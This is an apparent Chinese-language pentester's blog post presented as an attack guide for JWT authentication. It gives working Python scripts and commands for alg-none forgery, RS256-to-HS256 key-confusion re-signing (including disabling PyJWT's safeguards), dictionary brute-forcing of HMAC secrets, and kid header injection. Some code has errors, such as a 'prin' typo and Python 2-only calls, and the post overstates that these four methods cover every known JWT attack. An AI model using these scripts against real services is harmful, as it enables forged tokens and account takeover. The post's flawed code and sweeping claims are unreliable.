最近工作中測試一款客戶端exe程式,web框架基於CEF,認證用的是jwt。說實話jwt這個東西實際運用真的很少,前幾年完整擼過一次,結果這次又碰到了就基本忘光了之前的測試過程和方向,於是又重新學習,在查閱了大量的國內以及國外文獻後,經過大量的程式碼編寫以及測試,寫下此篇攻擊指南
可以很負責任的說,目前針對 jwt 攻擊測試的方案
有且僅有以下幾種:
重置空加密演算法非對稱加密向下降級為對稱加密暴力破解金鑰篡改 jwt header,kid指定攻擊JWT 線上解析地址:https://jwt.io/
重置空加密演算法如圖,當前 jwt 指定的 alg 為 HS256 演算法
將其修改為none,然後輸出(如果沒有 jwt 模組,需要 pip install pyjwt 一下)
import jwtprint(jwt.encode({"userName":"admin","userRoot":1001}, key="", algorithm="none"))
刪掉最後的 “.” ,然後帶入原有的資料包進行發包測試,看 server 端是否接受 none 演算法,從而繞過了演算法簽名。
非對稱加密向下降級為對稱加密現在大多數應用使用的演算法方案都採用 RSA 非對稱加密,server 端儲存私鑰,用來簽發 jwt,對傳回來的 jwt 使用公鑰解密驗證。
碰到這種情況,我們可以修改 alg 為 HS256 對稱加密演算法,然後使用我們可以獲取到的公鑰作為 key 進行簽名加密,這樣一來,當我們將 jwt 傳給 server 端的時候,server 端因為預設使用的是公鑰解密,而演算法為修改後的 HS256 對稱加密演算法, 所以肯定可以正常解密解析,從而繞過了演算法限制。
當 server 端嚴格指定只允許使用 HMAC 或者 RSA 演算法其中一種時候,那這種攻擊手段是沒有效果的。
附上降級轉型的 python 程式碼:
import jwtimport sysimport reimport argparseclass HMACAlgorithm(jwt.algorithms.HMACAlgorithm): def prepare_key(self, key): key = jwt.utils.force_bytes(key) return keyjwt.api_jwt._jwt_global_obj._algorithms['HS256'] = \ HMACAlgorithm(HMACAlgorithm.SHA256)parser = argparse.ArgumentParser( formatter_class=argparse.ArgumentDefaultsHelpFormatter, description='''Re-sign a JWT with a public key, changing its type from RS265 to HS256.''')parser.add_argument('-j', '--jwt-file', dest='jwt_file', default='jwt.txt', metavar='FILE', help='''File containing the JWT.''')parser.add_argument('-k', '--key-file', dest='keyfile', default='key.pem', metavar='FILE', help='''File containing the public PEM key.''')parser.add_argument('-a', '--algorithm', dest='algorithm', default='RS256', metavar='ALGO', help='''Original algorithm of the JWT.''')parser.add_argument('-n', '--no-vary', dest='no_vary', default=False, action='store_true', help='''Sign only once with the exact key given.''')args = parser.parse_args()with open(args.keyfile, 'r') as f: try: pubkey = f.read() except: sys.exit(2)with open(args.jwt_file, 'r') as f: try: token = f.read().translate(None, '\n ') except: sys.exit(2)try: jwt.decode(token, pubkey, algorithms=args.algorithm)except jwt.exceptions.InvalidSignatureError: sys.stderr.write('Wrong public key! Aborting.') sys.exit(1)except: passclaims = jwt.decode(token, verify=False)headers = jwt.get_unverified_header(token)del headers['alg']del headers['typ']if args.no_vary: sys.stdout.write(jwt.encode(claims, pubkey, algorithm='HS256', headers=headers).decode('utf-8')) sys.exit(0)lines = pubkey.rstrip('\n').split('\n')if len(lines) < 3: sys.stderr.write('''Make sure public key is in a PEM format and includes header and footer lines!''') sys.exit(2)hdr = pubkey.split('\n')[0]ftr = pubkey.split('\n')[-1]meat = ''.join(pubkey.split('\n')[1:-1])sep = '\n-----------------------------------------------------------------\n'for l in range(len(hdr), len(meat)+1): secret = '\n'.join([hdr] + filter( None,re.split('(.{%s})' % l, meat)) + [ftr]) sys.stdout.write( '%s--- JWT signed with public key split at lines of length %s: ---%s%s' % \ (sep, l, sep, jwt.encode(claims, secret, algorithm='HS256', headers=headers).decode('utf-8'))) secret += '\n' sys.stdout.write( '%s------------- As above, but with a trailing newline: ------------%s%s' % \ (sep, sep, jwt.encode(claims, secret, algorithm='HS256', headers=headers).decode('utf-8')))
注意,因為jwt模組更新後,防止濫用,加入了強校驗,如果指定演算法為 HS256 而提供 RSA 的公鑰作為 key 時會報錯,無法往下執行,需要註釋掉 site-packages/jwt/algorithm.py 中的如下四行:
再把整個python程式碼流程精簡一下,使用以下指令碼即可,public.pem 為 RSA 公鑰:
# -*- coding: utf-8 -*-import jwtpublic = open('public.pem', 'r').read()prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))
暴力破解金鑰
當 alg 指定 HMAC 類對稱加密演算法時,可以進行針對 key 的暴力破解
其核心原理即為 jwt 模組的 decode 驗證模式,
jwt.decode(jwt_json, verify=True, key='')
簽名直接校驗失敗,則 key 為有效金鑰;因資料部分預定義欄位錯誤:jwt.exceptions.ExpiredSignatureErrorjwt.exceptions.InvalidAudienceErrorjwt.exceptions.InvalidIssuedAtErrorjwt.exceptions.InvalidIssuedAtErrorjwt.exceptions.ImmatureSignatureError導致校驗失敗,說明並非金鑰錯誤導致,則 key 也為有效金鑰;因金鑰錯誤jwt.exceptions.InvalidSignatureError導致校驗失敗,則 key 為無效金鑰;因其他原因(如,jwt 字串格式錯誤)導致校驗失敗,無法驗證當前 key 是否有效。綜上分析,構造字典爆破指令碼:
import jwtjwt_json='eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJpZCI6MX0.S5iudTeUBkKZa2Ah_MR_JdAsSBUFrnF3kn1FL-Cvsks'with open('dict.txt',encoding='utf-8') as f: for line in f: key = line.strip() try: jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256') print('found key! --> ' + key) break except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('found key! --> ' + key) break except(jwt.exceptions.InvalidSignatureError): print('verify key! -->' + key) continue else: print("key not found!")
執行後可以看到,成功爆破了 key 為 abc123
如果沒有字典,可以採取暴力遍歷,可以直接使用 npm 安裝 jwt-cracker , 方便快捷
npm install jwt-cracker
使用方法:
> jwt-cracker "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJpZCI6MX0.S5iudTeUBkKZa2Ah_MR_JdAsSBUFrnF3kn1FL-Cvsks" "abcde0123456" 6
篡改 jwt header,kid指定攻擊
kid 即為 key ID ,存在於 jwt header 中,是一個可選的欄位,用來指定加密演算法的金鑰
如圖,在頭部注入新的 kid 欄位,並指定 HS256 演算法的 key 為 1,生成新的 jwt_json
jwt.encode({"name":"admin","id":1},key="1",algorithm='HS256',headers={"kid":"1"})
驗證沒有問題:
如果 server 端開啟了頭部審查,那麼此方法也將沒有效果
另外,可以構造 kid 進行 SQL注入、任意檔案讀取、命令執行等攻擊,但是除了 CTF 中會有這種強行弱智寫法,實際案例可以說是並不存在,實用性極其低,故不再贅述。
小結以上四種攻擊方式可以說是涵蓋了已知所有的針對 jwt 的利用,還有一部分沒有實際用處或者根本就不存在的東西,沒有必要去浪費筆墨,讀者也沒有必要來浪費時間看。